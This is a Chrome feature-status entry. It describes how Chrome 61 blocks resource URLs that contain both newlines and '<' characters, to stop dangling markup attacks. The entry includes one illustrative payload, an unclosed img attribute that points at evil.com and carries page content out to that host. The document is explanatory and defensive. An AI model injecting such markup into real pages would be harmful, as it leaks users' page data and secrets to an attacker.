← Back to release summary

Blocking resources whose URLs contain both `\n` and `<` characters.

Category
Network / Connectivity
Type
No developer-visible change
Status
Enabled by default (Chrome 61)
Intent stage
Shipped

Summary

As discussed in https://groups.google.com/a/chromium.org/d/msg/blink-dev/KaA_YNOlTPk/VmmoV88xBgAJ, some forms of dangling markup attacks rely upon injecting an unclosed attribute that sucks up portions of a page, and exfiltrates them to an external endpoint (e.g. `<img src='https://evil.com/?` eats the page until the next `'`). This is possible because the URL parser helpfully discards newline characters. It would be lovely if we could make the parser less helpful.

Standards & signals

View on chromestatus.com